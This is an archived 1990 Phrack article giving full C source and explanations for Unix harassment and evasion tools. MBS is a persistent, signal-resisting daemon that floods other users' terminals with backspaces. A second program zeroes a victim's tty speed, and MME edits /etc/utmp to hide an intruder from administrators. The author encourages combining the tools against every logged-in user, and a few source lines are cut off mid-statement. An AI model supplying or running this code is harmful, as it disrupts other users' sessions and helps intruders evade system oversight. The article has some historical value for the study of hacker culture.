home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / UNIX / UNIXTRIC.ZIP / UNIXTRIC.TXT
Text File  |  1995-10-09  |  33KB  |  927 lines

  1.  
  2.  
  3.                               ==Phrack Classic==
  4.  
  5.                      Volume Three, Issue 32, File #5 of 12
  6.  
  7.  
  8.         *%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*
  9.         %P                                                           P%
  10.         %H                  C UNIX `nasties' PART I                  H%
  11.         %A                            by                             A%
  12.         %Z             Sir Hackalot of PHAZE (10/20/90)              Z%
  13.         %E                                                           E%
  14.         *%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*%*
  15.  
  16.  
  17. o Purpose of this file:
  18.  
  19.         The purpose of this file is to share small C programs for the Unix
  20.         System V and/or BSD 4.3 operating systems which as in logical terms,
  21.         "Nasty".  This "Nasty" can be termed better as Annoyance programs
  22.         or tricky programs.
  23.  
  24.         The purpose of this text however, is NOT to teach one how to program
  25.         in C and or how to use the C compiler on Unix systems.  This textfile
  26.         assumes you have a working knowledge of programming with C in the
  27.         UNIX environment.
  28.  
  29.  
  30.  
  31. o The UTMP Reader:
  32.   ~~~~~~~~~~~~~~~~
  33.  
  34.         First, I would like to start this text off by posting in a generic
  35.         /etc/utmp reader.  The /etc/utmp reader is essential for applications
  36.         that deal with all the users online at a given time.
  37.  
  38.         Here is the source:
  39.  
  40. - - - - - - - - - - - - - - - - - -CUT-HERE- - - - - - - - - - - - - - - - - -
  41.  
  42.  
  43. /* WhatTTY -- Generic WHO
  44. UTMP Reader "Skeleton" : By Sir Hackalot / PhaZe
  45.  
  46. This is basically a skeleton program that is just a base for any UTMP
  47. operations.
  48.  
  49. This is the skeleton that PhaZe(soft) uses for anything that deals
  50. with reading the utmp file, such as MBS, SEND, VW, MME, and other
  51. utilities.
  52.  
  53. Applications: You can use this when you need to do something to
  54. everyone online, or when you need some sort of data from utmp, wtmp
  55. or any file that is like utmp.
  56. */
  57.  
  58. #include <stdio.h>
  59. #include <sys/types.h> /* This is the key to the whole thing */
  60. #include <utmp.h>
  61. #include <fcntl.h>
  62.  
  63.  
  64. main()
  65. {
  66.         int handle;
  67.         char *etc = "/etc/utmp";
  68.         struct utmp user;
  69.  
  70.         handle = open(etc,O_RDONLY);
  71.  
  72.         while(read(handle,&user,sizeof(user)) != 0) {
  73.                 if (user.ut_type == USER_PROCESS)
  74.                 printf("%s is on %s\n",user.ut_name,user.ut_line);
  75.         }
  76.         close(handle);
  77.  
  78. /* Simple, Right? */
  79. /* To see anything that is waiting for a login, change USER_PROCESS
  80. to LOGIN_PROCESS */
  81. }
  82.  
  83. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  84.  
  85.         In the above program, this is what happens:
  86.         1.  I assigned the variable "etc" to point at the string
  87.                 "/etc/utmp", which is the utmp file.
  88.         2.  I opened in in Read ONLY mode (O_RDONLY).
  89.         3.  I started a loop that does not end until 0 bytes are
  90.             read into the user structure.  The 0 bytes would mean
  91.             end of file.
  92.  
  93.         Notice the line:
  94.         if (user.ut_type == USER_PROCESS)
  95.  
  96.         What the above line does is to distinguish between a user
  97.         and a terminal waiting for a Login.  The ut_type is defined
  98.         in utmp.h.  There are many types.  One of them is LOGIN_PROCESS.
  99.         That will be a terminal waiting for a login.  If you wanted to see
  100.         all the TTYs waiting to be logged in on, you would change the
  101.         USER_PROCESS to LOGIN_PROCESS.  Other types are things like
  102.         INIT_PROCESS.  You can just look in utmp.h to see them.
  103.  
  104.         Also notice that I have inclide "sys/types.h".  If you do not include
  105.         this file, there will be an error in utmp.h, and other headers.
  106.         types.h has definitions for other TYPES of data, etc.  So, if in
  107.         a header file you encounter a syntax error, you might need to include
  108.         sys/types.h
  109.  
  110.         This program is just a skeleton, although it does print out who
  111.         is logged on, and to what TTY they are on.  You will see how this
  112.         skeleton I wrote can be used.  I used it to write MBS.
  113.  
  114. _______________________________________________________________________________
  115.  
  116.  
  117. o MBS -- Mass BackSpace virus:
  118.   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  119.  
  120.         MBS may not be considered a virus, since it does not replicate
  121.         itself.  However, it does "infect" every user that logs in, provided
  122.         the conditions are right.
  123.  
  124.         The MBS virus uses the utmp reader to constantly read the utmp
  125.         file to find its next victim. Thus, eventually getting everyone, then
  126.         recycling to start again. Therefore catching people who login after
  127.         it is started.
  128.  
  129.         Lets look at the source:
  130.  
  131. - - - - - - - - - - - - - - - - - -CUT-HERE- - - - - - - - - - - - - - - - - -
  132.  
  133. #include <stdio.h>
  134. #include <sys/types.h>
  135. #include <utmp.h>
  136. #include <fcntl.h>
  137. #include <signal.h>
  138. /*
  139.    MBS - Mass BackSpace Virus!! v2.2 Deluxe+
  140.    (c) 1990 - Sir Hackalot
  141.    PhaZeSOFT Ltd.
  142.  
  143. */
  144.  
  145. char *ent[10][100]; /* This supports 10 immune people change 10 to x for more */
  146. int maxitem = 5; /* Should be total # of immune dudes */
  147. int truefalse = 0;
  148. int warn[10],bad;
  149. char full_tty[15], text[160],  kstr[80];
  150. FILE *to_tty, *strm;
  151. struct utmp u;
  152.  
  153.  
  154. void kmes(fmt,boo)
  155. char *fmt;
  156. int boo;
  157. {
  158.         if (boo != 0) {
  159.                 printf("MBS_KERN: ");
  160.                 printf("%s",fmt);
  161.         }
  162.         if (boo == 0) {
  163.                 sprintf(full_tty,"/dev/%s",u.ut_line);
  164.                 to_tty = fopen(full_tty,"w");
  165.                 fprintf(to_tty,"MBS_KERN: %s",fmt);
  166.                 fclose(to_tty);
  167.         }
  168. }
  169.  
  170. void initit() {  /* Initialize our little "kernel" */
  171.         int xxx = 0;
  172.         strcpy(ent[0],"technic");
  173.         strcpy(ent[1],"merlin");
  174.         strcpy(ent[2],"datawiz");
  175.         strcpy(ent[3],"par");
  176.         strcpy(ent[4],"Epsilon");
  177.         while (xxx < 11) {
  178.                 warn[xxx] = 0;
  179.                 xxx++;
  180.         }
  181.         kmes("Kernel Started.\n",1);
  182. }
  183.  
  184. void warnem(wcnt) /* Notify all the immune people ... */
  185. int wcnt;
  186. {
  187.         if (bad == 0) { /* keep from dumping core to disk */
  188.                 if (warn[wcnt] < 2) {
  189.                         sprintf(kstr,"%s has started a backspace virus!\n",getlo
  190.                         kmes(kstr,0);
  191.                         warn[wcnt]++;
  192.                 }
  193.         }
  194. }
  195.  
  196.  
  197. int checkent(uname) /* Check for immunity */
  198. char *uname;
  199. {
  200.         int cnt = 0;
  201.         truefalse = 0; /* assume NOT immune */
  202.         while (cnt < maxitem) {
  203.                 if (strcmp(uname,ent[cnt]) == 0) { /* if immune... */
  204.                         truefalse = 1;
  205.                         warn[cnt]++; /* increment warning variable */
  206.                         warnem(cnt); /* warn him if we have not */
  207.                 }
  208.  
  209.                 cnt++;
  210.         }
  211.         return(truefalse); /* return immunity stat. 1=immune, 0 = not */
  212. }
  213.  
  214.  
  215. /* Purpose: Instead of just ignoring the signal via SIG_IGN, we want
  216. to intercept it, and notify use */
  217. void sig_hand(sig)
  218. int sig;
  219. {
  220. if(sig == 3) kmes("Ignoring Interrupt\n",1);
  221. if(sig == 15) kmes("Ignoring Termination Signal\n",1);
  222. if(sig == 4) kmes("Ignoring quit signal.\n",1);
  223.         }
  224.  
  225. main(argc,argv)
  226. int argc;
  227. char *argv[];
  228.  
  229. {
  230.         int prio,pid,isg,handle;
  231.         char buf[80];
  232.         char name[20],tty[20],time[20];
  233.         initit();
  234.         if (argc < 2) prio = 20;
  235.         if (argc == 2) prio = atoi(argv[1]);
  236.         if ((pid = fork()) > 0) {
  237.         printf("Welcome to MBS 2.2 Deluxe, By Sir Hackalot [PHAZE]\n");
  238.                 printf("Another Fine PhaZeSOFT production\n");
  239.                 printf("Thanks to The DataWizard for Testing this\n");
  240.                 printf("Hello to The Conflict\n");
  241.                 sprintf(kstr,"Created Process %s (%d)\n\n",argv[0],pid);
  242.                 kmes(kstr,1);
  243.                 exit(0); /* KILL MOTHER PID, return to Shell & go background */
  244.         }
  245.         nice(prio);
  246.         signal(SIGQUIT,sig_hand);
  247.         signal(SIGINT,sig_hand);
  248.         signal(SIGTERM,sig_hand);
  249.         /* That makes sure you HAVE to do a -9 or -10 to kill this thing.
  250.            Sometimes, hitting control-c will kill of background processes!
  251.            Add this line if you want it to continue after you hangup:
  252.            signal(SIGHUP,SIG_IGN);
  253. doing it will have the same effect as using NOHUP to
  254. to execute it. Get it? Nohup = no SIGHUP
  255. */
  256.         while(1) {  /* "Kernel" Begins here and never ends */
  257.                 handle = open("/etc/utmp",O_RDONLY);
  258.                 while (read(handle,&u,sizeof(u)) != 0) {
  259.                         bad = 0;
  260.                         sprintf(full_tty,"/dev/%s",u.ut_line);
  261.                         if (strcmp(u.ut_name,getlogin()) != 0) {
  262.  
  263.          /* Fix: Below is a line that optimizes the hosing/immune process
  264.             It skips the utmp entry if it is not a user.  If it is, it
  265.             checks for immunity, then comes back. This is alot faster
  266.             and does not wear down cpu time/power */
  267.  
  268.                if (u.ut_type == USER_PROCESS) isg = checkent(u.ut_name);
  269.                else isg = 1;
  270.                  if (isg != 1) {
  271.                                         if((to_tty = fopen(full_tty,"w")) == NUL
  272.                                                 bad = 1;
  273.                                         }
  274.                                         if (bad == 0) {
  275.                                                 fprintf (to_tty, "\b\b\b");
  276.                                                 fflush (to_tty);
  277.                                         }
  278.                                         fclose(to_tty);
  279.                                 }
  280.                         }
  281.                 }
  282.                 close (handle);
  283.         }
  284. }
  285.  
  286. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  287.  
  288.         I am going to try to take this bit by bit and explain how it works
  289.         so that maybe you can come up with some good ideas on creating
  290.         something similar.
  291.  
  292.         I will start with the MAIN function.  Here it is:
  293.  
  294. ___
  295.  
  296. main(argc,argv)
  297. int argc;
  298. char *argv[];
  299.  
  300. {
  301.         int prio,pid,isg,handle;
  302.         char buf[80];
  303.         char name[20],tty[20],time[20];
  304.         initit();
  305. ___
  306.  
  307.         Obviously, this is the part of the code which initializes the main
  308.         variables used.  The "main(argc,argv)" is there so it can accept
  309.         command line parameters.  The command line parameters are just
  310.         for speed customization, which I will discuss later.  Notice how
  311.         the variables are defined for the command line parameters:
  312.  
  313.         int argc, char *argv[];
  314.  
  315.         argc is the number of arguments, INCLUDING the name of the current
  316.         executable running.  argv[] holds the strings in an array which make
  317.         up the parameters passed.  argv[0] holds the name of the program,
  318.         while argv[1] holds the 1st parameter entered on the command line.
  319.         initit() is called to set up the necessary tables.  All of
  320.         the variables defined at the top of the program are global, and alot
  321.         of these functions use the global variables, as does initit();.
  322.  
  323. ___
  324.  
  325. if (argc < 2) prio = 20;
  326. if (argc == 2) prio = atoi(argv[1]);
  327. ___
  328.  
  329.         Ok, the above two lines essentially parse the command line.
  330.         The MBS program only accepts ONE argument, which is the priority
  331.         value to add to the normal process priority.  This is so you
  332.         can customize how fast MBS runs.  If you want to burn CPU time,
  333.         you would invoke mbs by:
  334.         $ mbs 0
  335.  
  336.         That would make the priority as fast as the current can run something.
  337.         MBS's default priority setting is 20, so that CPU time will be saved.
  338.         MBS is very fast however, and since alot of Unix systems like to
  339.         cache alot of frequently used data from disks, it gets fast after
  340.         it reads utmp a few times, since utmp will be cached until it changes.
  341.         However, you can run MBS with a number from 0-19, the higher the
  342.         number, the "less" priority it will have with the cpu.
  343.  
  344.  
  345. ___
  346.  
  347. if ((pid = fork()) > 0) {
  348.   printf("Welcome to MBS 2.2 Deluxe, By Sir Hackalot [PHAZE]\n");
  349.   printf("Another Fine PhaZeSOFT production\n");
  350.   sprintf(kstr,"Created Process %s (%d)\n\n",argv[0],pid);
  351.   kmes(kstr,1);
  352.   exit(0); /* KILL MOTHER PID, return to Shell & go background */
  353. }
  354.  
  355. ___
  356.  
  357.         The above is what sends MBS into the background.  It calls fork(),
  358.         which creates another process off the old one.  However, fork()
  359.         can be considered "cloning" a process, since it will use anything
  360.         beneath it.  So, now you can assume there are TWO copies of MBS
  361.         running -- One in the foreground, and one in the background.  However,
  362.         you may notice the exit(0).  That first exit kills off the parent.
  363.         a second call to exit() would kill the child as well.  notice the
  364.         call to "kmes".  kmes is just a function that is defined earlier,
  365.         which I will discuss later.
  366. ___
  367.  
  368. nice(prio);
  369. signal(SIGQUIT,sig_hand);
  370. signal(SIGINT,sig_hand);
  371. signal(SIGTERM,sig_hand);
  372. /*   signal(SIGHUP,SIG_IGN); */
  373. ___
  374.  
  375.         The above code is integral for the survival of the MBS program in
  376.         memory.  The nice(prio) is what sets the new priority determined
  377.         by the command line parsing.
  378.  
  379.         The signal() statements are basically what keeps MBS running.  What
  380.         it does is catch INTERRUPTS, Quits, and a regular call to KILL.
  381.         the commented out portion would ignore requests to kill upon hangup.
  382.         This would keep MBS in the background after you logged off.
  383.  
  384.         Why do this?  Well, remember that the parent was affected by
  385.         its environment?  Well, the new forked process is too.  That means,
  386.         if you were 'cat'ting a file, and hit control-C to stop it, the
  387.         cat process would stop, but push the signal on to MBS, which would
  388.         cause MBS to exit, if it did not have a signal handler.  The signal
  389.         calls setup signal handlers.  What they do is tell the program
  390.         to goto the function sig_hand() when one of the 3 signals is
  391.         encountered.  The commented signal just tells the program to ignore
  392.         the hangup signal.  The sig_hand argument can be replaced with
  393.         SIG_IGN if you just want to plain ignore the signal and not handle it.
  394.  
  395.         The SIGQUIT is sometimes the control-D character.  That is why it
  396.         also must be dealt with.  If the signals aren't ignored or caught,
  397.         MBS can easily kicked out of memory by YOU, by accident of course.
  398.  
  399. ___
  400.  
  401. while(1) {  /* "Kernel" Begins here and never ends */
  402.      handle = open("/etc/utmp",O_RDONLY);
  403. ___
  404.  
  405.         The above starts the main loop.  The begining of the loop is to open
  406.         the utmp file.
  407.  
  408. ___
  409.  
  410.  while (read(handle,&u,sizeof(u)) != 0) {
  411.       bad = 0;
  412.       sprintf(full_tty,"/dev/%s",u.ut_line);
  413.       if (strcmp(u.ut_name,getlogin()) != 0) {
  414.         if (u.ut_type == USER_PROCESS) isg = checkent(u.ut_name);
  415.            else isg = 1;
  416.         if (isg != 1) {
  417.            if((to_tty = fopen(full_tty,"w")) == NULL)  {
  418.               bad = 1;
  419.               }
  420.            if (bad == 0) {
  421.               fprintf (to_tty, "\b\b\b");
  422.               fflush (to_tty);
  423.               }
  424.               fclose(to_tty);
  425.         }
  426.     }
  427. ___
  428.  
  429.  
  430.         Above is the sub_main loop.  what it does is go through the utmp
  431.         file, and on each entry, it prepares a path name to the TTY
  432.         of the current utmp entry (sprintf(fulltty...)).  Then it checks
  433.         to see if it is YOU.  If it is, the loop ends.  If it is not, then
  434.         it sees if it is a User.   If not, it ends the loop and goes to
  435.         the next.
  436.  
  437.         If it is a user, it goes to checkent to see if that user has been
  438.         declared immune in the immunity tables (down below later..).
  439.         If the idiot is not immune, it attempts to open their tty.  If it
  440.         cannot, it sets the bad flag, then ends the loop.  If it can be
  441.         written to, it sends three backspaces, according to YOUR tty specs.
  442.         Then, it closes the opened tty, and the loop continues until the end.
  443.  
  444. ___
  445.  
  446.        }
  447. close (handle);
  448.     }
  449. }
  450.  
  451. ___
  452.  
  453.         The above is the end of the main loop.  It closes handle (utmp) so
  454.         it can be reopened at the start of the loop at the beginning of the
  455.         file.  The reason to not create a table of people to hit in memory
  456.         after one reading is so that MBS will stop after people logoff, and
  457.         to start when new ones logon.  The constant reading of the utmp
  458.         file makes sure everyone gets hit, except immune people.  Also,
  459.         the file must be closed before reopening, or else, after a few opens,
  460.         things will go to hell.
  461.  
  462.  
  463. Here is the signal handler:
  464.  
  465. ___
  466.  
  467. void sig_hand(sig)
  468. int sig;
  469. {
  470. if(sig == 3) kmes("Ignoring Interrupt\n",1);
  471. if(sig == 15) kmes("Ignoring Termination Signal\n",1);
  472. if(sig == 4) kmes("Ignoring quit signal.\n",1);
  473.         }
  474. ___
  475.  
  476.         It is very simple.  when a signal is caught and sent to the handler,
  477.         the library function SIGNAL sends the signal number as an argument
  478.         to the function.  The ones handled here are 3,4, and 15.  But
  479.         this was just for effect.  You could just have it print one line
  480.         no matter what the signal was, or just rip this function out and
  481.         put in SIG_IGN in the signal calls.
  482.  
  483.         Below is the immunity check:
  484. ___
  485.  
  486. int checkent(uname) /* Check for immunity */
  487. char *uname;
  488. {
  489.         int cnt = 0;
  490.         truefalse = 0; /* assume NOT immune */
  491.         while (cnt < maxitem) {
  492.                 if (strcmp(uname,ent[cnt]) == 0) { /* if immune... */
  493.                         truefalse = 1;
  494.                         warn[cnt]++; /* increment warning variable */
  495.                         warnem(cnt); /* warn him if we have not */
  496.                 }
  497.  
  498.                 cnt++;
  499.         }
  500.         return(truefalse); /* return immunity stat. 1=immune, 0 = not */
  501. }
  502.  
  503. ___
  504.  
  505.         Above, you see variables used that are not defined.  They are
  506.         just variables that were declared as globals at the begining.
  507.         What this does is just compare the login name sent to it with
  508.         every name in the immunity table.  If it finds the name on
  509.         the table matches, it will go and see if it should warn the
  510.         user.  Also, the warn count is incremented so that the warning
  511.         function will know if the user has been warned.
  512.  
  513.         Here is the warning function:
  514.  
  515. ___
  516.  
  517. void warnem(wcnt) /* Notify all the immune people ... */
  518. int wcnt;
  519. {
  520.         if (bad == 0) { /* keep from dumping core to disk */
  521.                 if (warn[wcnt] < 2) {
  522.                         sprintf(kstr,"%s has started a backspace virus!\n",getlo
  523.                         kmes(kstr,0);
  524.                         warn[wcnt]++;
  525.                 }
  526.         }
  527. }
  528. ___
  529.  
  530.         What this does is take the position number of the table entry and
  531.         checks and see if that entry has been warned before.  It decides
  532.         this by checking its value.  If it is less than two, that means
  533.         the user had not been warned.  After it is sent, the function
  534.         incrememnts the warning flag so that they will never been warned
  535.         again until the program has stopped & restarted or someone else
  536.         runs one.  The "if (bad == 0)" is there so that it only warns a
  537.         person if it can write to the tty.
  538.  
  539.         Here is the kmes function you keep seeing:
  540.  
  541. ___
  542.  
  543. void kmes(fmt,boo)
  544. char *fmt;
  545. int boo;
  546. {
  547.         if (boo != 0) {
  548.                 printf("MBS_KERN: ");
  549.                 printf("%s",fmt);
  550.         }
  551.         if (boo == 0) {
  552.                 sprintf(full_tty,"/dev/%s",u.ut_line);
  553.                 to_tty = fopen(full_tty,"w");
  554.                 fprintf(to_tty,"MBS_KERN: %s",fmt);
  555.                 fclose(to_tty);
  556.         }
  557. }
  558. ___
  559.         All this is, is a fancy printf which prints a string with
  560.         "MBS_KERN:" stuck on the front of it.  the BOO variable is just
  561.         so it can determine whether or not to send it to the local
  562.         screen or to another tty.  It is just for looks.
  563.  
  564.         Now, finally, we can look at the initializer:
  565.  
  566. ___
  567.  
  568. void initit() {  /* Initialize our little "kernel" */
  569.         int xxx = 0;
  570.         strcpy(ent[0],"sirh");
  571.         strcpy(ent[1],"merlin");
  572.         strcpy(ent[2],"datawiz");
  573.         strcpy(ent[3],"par");
  574.         strcpy(ent[4],"epsilon");
  575.         while (xxx < 11) {
  576.                 warn[xxx] = 0;
  577.                 xxx++;
  578.         }
  579.         kmes("Kernel Started.\n",1);
  580. }
  581. ___
  582.  
  583.         This is a very SIMPLE procedure.  It just fills the list
  584.         with the people to keep immune.  ent[..][..] is what holds
  585.         the immune list.  It also zeros out the warning flags associated
  586.         with each user.  ("sirh","merlin","par",etc. are acct. names)
  587.  
  588.         This "virus" can do more than just send backspaces if you want it
  589.         to, but it will take modification.  Some people have modified
  590.         it to include the next program, which is ioctl.c.
  591.  
  592. _______________________________________________________________________________
  593.  
  594.  
  595.  
  596. o IOCTL -- Set another's tty w/out read perms
  597.   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  598.  
  599.         The program ioctl is very very nice.  What it does is basically
  600.         act like stty, but you don't have to use the < to change
  601.         someone else's terminal.  Here is the listing:
  602.  
  603. - - - - - - - - - - - - - - - - - -CUT-HERE- - - - - - - - - - - - - - - - - -
  604.  
  605. #include <stdio.h>
  606. #include <sys/types.h>
  607. #include <fcntl.h>
  608. #include <sgtty.h>
  609. #define TIOC ('T'<<8)
  610. #define TCSETA (TIOC|2)
  611.  
  612. main(argc,argv)
  613. int argc;
  614. char *argv[];
  615. {
  616.         int x;
  617.         struct sgttyb histty;
  618.         if (argc == 1) exit(0);
  619.         x = open(argv[1],O_WRONLY);
  620.         if (x == -1) exit(0);
  621.         histty.sg_ispeed = B0;
  622.         histty.sg_ospeed = B0;
  623.         ioctl(x,TCSETA,&histty);
  624. }
  625.  
  626. - - - - - - - - - - - - - - - - - -CUT-HERE- - - - - - - - - - - - - - - - - -
  627.  
  628.         The basis of the program is that you give a full path to the tty
  629.         to nail.  You need to be able to write to the tty for it to work.
  630.  
  631.         Notice the two defines.  They are in there so you do not have
  632.         to include termio.h, and hence get 200 warnings of redefinition.
  633.         This program is WAY simpler than MBS, but here is how it works:
  634.  
  635. ___
  636.  
  637. main(argc,argv)
  638. int argc;
  639. char *argv[];
  640. ___
  641.  
  642.         Of course, the above sets up the program to get command line
  643.         arguments.
  644.  
  645. ___
  646.  
  647.         int x;
  648.         struct sgttyb histty;
  649. ___
  650.  
  651.         These are the variables.  the sgttyb structure is what the ioctl
  652.         function call needs to do its duty.  You can do a lot to a tty
  653.         using the structure, but this program only does 2 things to the
  654.         tty, as you shall soon see.  Remember that the programs here can
  655.         be modified, especially this one.  Just check out sgtty.h to
  656.         see the modes you can pop a tty into.
  657.  
  658. ___
  659.  
  660.         if (argc == 1) exit(0);
  661.         x = open(argv[1],O_WRONLY);
  662.         if (x == -1) exit(0);
  663. ___
  664.  
  665.         The above three lines are the open/error checks.  The 1st line
  666.         says that if the idiot did not give an argument then exit
  667.         the program.  The argument needs to be the path to the
  668.         device driver (/dev/tty...).
  669.         The second line opens the tty for writing, and the third exits
  670.         upon error.
  671.  
  672. ___
  673.  
  674.         histty.sg_ispeed = B0;
  675.         histty.sg_ospeed = B0;
  676.         ioctl(x,TCSETA,&histty);
  677. ___
  678.  
  679.         The above three lines are the meat of the program.  What they
  680.         do is this:
  681.  
  682.         Line 1 sets the input speed to 0 for the tty into the structure.
  683.         line 2 sets the output speed to 0 for the tty into the structure.
  684.         line 3 sets the tty according to the structure histty.
  685.  
  686.         That is why if you look into the components of the structure, you can
  687.         do things, such as convert all output to uppercase for them,
  688.         set a higher baud, redefine CR mapping, redefine tabs, and
  689.         all sorts of things.
  690.  
  691. _______________________________________________________________________________
  692.  
  693.  
  694. o MME - Make ME!:
  695.   ~~~~~~~~~~~~~~~
  696.         MME is just a program which changes utmp for you, in order to hide
  697.         you, or just mess with other user's minds.  This is a different
  698.         version then the one I originally put out.  In this version,
  699.         I removed the code that lets you change your tty.  It just became
  700.         too dangerous to change your tty.
  701.  
  702.         Here is the listing:
  703.  
  704. - - - - - - - - - - - - - - - - - -CUT-HERE- - - - - - - - - - - - - - - - - -
  705.  
  706. #include <stdio.h>
  707. #include <fcntl.h>
  708. #include <sys/types.h>
  709. #include <utmp.h>
  710. #include <sys/stat.h>
  711.  
  712. char *mytty; /* For an exact match of ut_line */
  713. char *backup_utmp = "cp /etc/utmp /tmp/utmp.bak";
  714. struct utmp *user;
  715.  
  716. main(argc,argv)
  717. int argc;
  718. char *argv[];
  719. {
  720.         int good= 0,cnt = 0,start = 1, index = 0;
  721.         char err[80];
  722.         system(backup_utmp);
  723.     printf("Welcome to MME 1.00 By Sir Hackalot\n");
  724.     printf("Another PHAZESOFT Production\n");
  725.     printf("Status:");
  726.     if (argc == 2) printf("Changing your login to %s\n",argv[1]);
  727.         if (argc == 1) printf("Removing you from utmp\n");
  728.  
  729.         utmpname("/etc/utmp");
  730.         mytty = strrchr(ttyname(0),'/'); /* Goto the last "/" */
  731.         strcpy(mytty,++mytty); /* Make a string starting one pos greater */
  732.         while (good != 1) {
  733.                 user = getutent();
  734.                 cnt++;
  735.                 if (strcmp(user->ut_line,mytty) == 0) good =1;
  736.         }
  737.         utmpname("/etc/utmp"); /* Reset file pointer */
  738.         for(start = 0;start < cnt;start++) {
  739.                 user = getutent(); /* Move the file pointer to where we are */
  740.         }
  741.  
  742.  
  743.     if (argc == 1) {
  744.      user->ut_type = LOGIN_PROCESS;
  745.          strcpy(user->ut_name,"LOGIN");
  746.                    }
  747.     else user->ut_type = USER_PROCESS;
  748.  
  749.         if (argc == 2) strcpy(user->ut_name,argv[1]);
  750.         pututline(user); /* Rewrite our new info */
  751.         endutent(); /* Tell the utmp functions we are through */
  752.         printf("Delete /tmp/utmp.bak if all is well.\n");
  753.         printf("Else, copy it to /etc/utmp.\n");
  754. }
  755.  
  756. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  757.  
  758.  
  759.         Well, of course, we will take this bit by bit.
  760.         Lets start with the standard ole function:
  761.  
  762. ___
  763.  
  764. main(argc,argv)
  765. int argc;
  766. char *argv[];
  767. ___
  768.  
  769.         This again sets up main so we can accept command line arguments.
  770.  
  771. ___
  772.  
  773. char *mytty; /* For an exact match of ut_line */
  774. char *backup_utmp = "cp /etc/utmp /tmp/utmp.bak";
  775. struct utmp *user;
  776. ___
  777.  
  778.         These are just global variables.
  779.         Backup_utmp is the command we will issue to shell for a failsafe
  780.         mechanism.
  781.  
  782. ___
  783.  
  784.            system(backup_utmp);
  785.     printf("Welcome to MME 1.00 By Sir Hackalot\n");
  786.     printf("Another PHAZESOFT Production\n");
  787.     printf("Status:");
  788.     if (argc >= 2) printf("Changing your login to %s\n",argv[1]);
  789.         if (argc == 1) printf("Removing you from utmp\n");
  790. ___
  791.  
  792.         The above is not hard to figure out.  First, this uses the system
  793.         command to load shell, and execute our backup command.
  794.         Then, the lame credits are printed.  Then, it tells you what it
  795.         is going to do based on the number of arguments passed from the
  796.         command line.
  797.         If no arguments are given (argc==1) then remove us from utmp.
  798.         If there are 1 or more (arc>=2) then change the login name.
  799.  
  800. ___
  801.  
  802. utmpname("/etc/utmp");
  803.         mytty = strrchr(ttyname(0),'/'); /* Goto the last "/" */
  804.         strcpy(mytty,++mytty); /* Make a string starting one pos greater */
  805. ___
  806.  
  807.         The above code does the following:  utmpname is a system function
  808.         common to UNIX system V, XENIX system V, etc.  It is part of the
  809.         utmp reading library.  It sets the thing to be read when the
  810.         other system calls are made (getutent, etc..).
  811.         mytty is set to hold one's tty.  It has to break down the result
  812.         of ttyname(0) to get a ttyname without a path.
  813.  
  814. ___
  815.  
  816. while (good != 1) {
  817.                 user = getutent();
  818.                 cnt++;
  819.                 if (strcmp(user->ut_line,mytty) == 0) good =1;
  820.         }
  821. ___
  822.  
  823.  
  824.         This code gets your relative index from utmp and stores it into
  825.         cnt.
  826.  
  827. ___
  828.  
  829. utmpname("/etc/utmp"); /* Reset file pointer */
  830.         for(start = 0;start < cnt;start++) {
  831.                 user = getutent(); /* Move the file pointer to where we are */
  832.         }
  833. ___
  834.  
  835.         The above resets the file pointer used by the system calls, then
  836.         moves to your entry.
  837.  
  838. ___
  839.  
  840. if (argc == 1) {
  841.      user->ut_type = LOGIN_PROCESS;
  842.          strcpy(user->ut_name,"LOGIN");
  843.                    }
  844.     else user->ut_type = USER_PROCESS;
  845.  
  846.         if (argc == 2) strcpy(user->ut_name,argv[1]);
  847.         pututline(user); /* Rewrite our new info */
  848.         endutent(); /* Tell the utmp functions we are through */
  849. ___
  850.  
  851.         The above is very simple as well.  If you are removing yourself
  852.         from utmp, it will change your process type to LOGIN_PROCESS
  853.         so that when someone does a "who", you are not there.
  854.         It changes your login name to LOGIN so if some knowitall
  855.         system admin does a who -l, he wont see you.  See, who -l shows
  856.         ttys waiting for login.  SO, if i did not change your tty name,
  857.         we would see:
  858.  
  859.         $ who -l
  860.         LOGIN           ttyxx1
  861.         LOGIN           tty002
  862.         joehack         tty003
  863.         LOGIN           tty004
  864.  
  865.         See the problem there?  That is why your name needs to be
  866.         changed to LOGIN.
  867.         If you are changing your login name, the "else" statment kicks
  868.         in and makes SURE you WILL show up in utmp, in case you had
  869.         removed yourself before.
  870.         Then, it takes the command line argument, and places it as your
  871.         login name in utmp.
  872.         pututline(user) then writes the info into the record where the
  873.         file pointer is... and that is your record.  It puts the contents
  874.         of the things in the "user" structure into the file.  then, endutent
  875.         closes the file.
  876.  
  877.         Now, here is an example of using the file:
  878.  
  879.         # mme Gh0d
  880.  
  881.         that would change your login name to Gh0d in utmp.
  882.  
  883.         # mme
  884.  
  885.         that would remove you from sight.  Remember!!: You need write perms
  886.         to utmp for this to work.  You CAN test this program by changing
  887.         the filename in the function "utmpname" to somewhere else, say in
  888.         /tmp.  You could copy /etc/utmp to /tmp/utmp, and test it there.
  889.         Then, you could use "who" to read the file in /tmp to show the
  890.         results.
  891.  
  892. _______________________________________________________________________________
  893.  
  894.  
  895. o In Conclusion:
  896.   ~~~~~~~~~~~~~~
  897.  
  898.         These are just some of the programs I decided to put in this file.
  899.         I have a lot more, but I decided I would keep them for later
  900.         issues, and leave these two together since they can
  901.         be easily related.  One person took MBS, and ioctl, and mended
  902.         them together to make a program that sets everyone's baud
  903.         rate to zero instead of sending 3 backspaces.  They just put
  904.         in the above lines of code into the place where they sent
  905.         the backspaces, and used open instead of stream open (fopen).
  906.         It is very simple to mend these two things together.
  907.  
  908.         Have a nice life!  Keep on programmin'!
  909.  
  910.         By: Sir Hackalot of Phaze.
  911. _______________________________________________________________________________
  912.  
  913.  
  914. X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X
  915.  Another file downloaded from:                     The NIRVANAnet(tm) Seven
  916.  
  917.  & the Temple of the Screaming Electron   Taipan Enigma        510/935-5845
